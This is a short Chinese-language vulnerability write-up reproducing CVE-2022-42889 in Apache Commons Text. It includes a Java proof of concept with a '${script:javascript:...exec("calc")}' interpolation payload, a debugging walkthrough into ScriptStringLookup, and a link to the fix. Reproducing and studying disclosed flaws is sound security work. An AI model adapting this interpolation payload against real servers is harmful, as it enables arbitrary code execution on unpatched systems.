CVE-2022-42889 Apache Commons Text【漏洞复现】,0x01POCpom


0x00 影响范围

在Apache Commons Text 1.5 ~1.9 版本中,攻击者可构造恶意文本,使得Apache Commons Text 在解析时执行任意代码,控制服务器。

0x01 POC

pom.xml

<dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-text</artifactId>
            <version>1.9</version>
</dependency>

poc.java

import org.apache.commons.text.StringSubstitutor;
public class A {
    public static void main(String[] args) {
        StringSubstitutor stringSubstitutor = StringSubstitutor.createInterpolator();
        String str1 = "${script:javascript:java.lang.Runtime.getRuntime().exec(\"calc\");}";
        String str="PoC Output: ${script:javascript:195 + 324}";
        String output = stringSubstitutor.replace(str);
        System.out.println(output);
    }
}

0x02 调试

 

 

点一下左侧的箭头,先查看下接口,有很多

 

在上一步调试跟进看看进了哪个实现类

==》ScriptStringLookup

 

到这里就差不多了,如果感兴趣 eval 的实现,可以继续调试:

查找属性 “javax.script.filename” 如果没有此属性,返回 <eval> 标签:

 

 

...... 

0x03 修复

https://github.com/apache/commons-text/commit/b9b40b903e2d1f9935039803c9852439576780ea

相关内容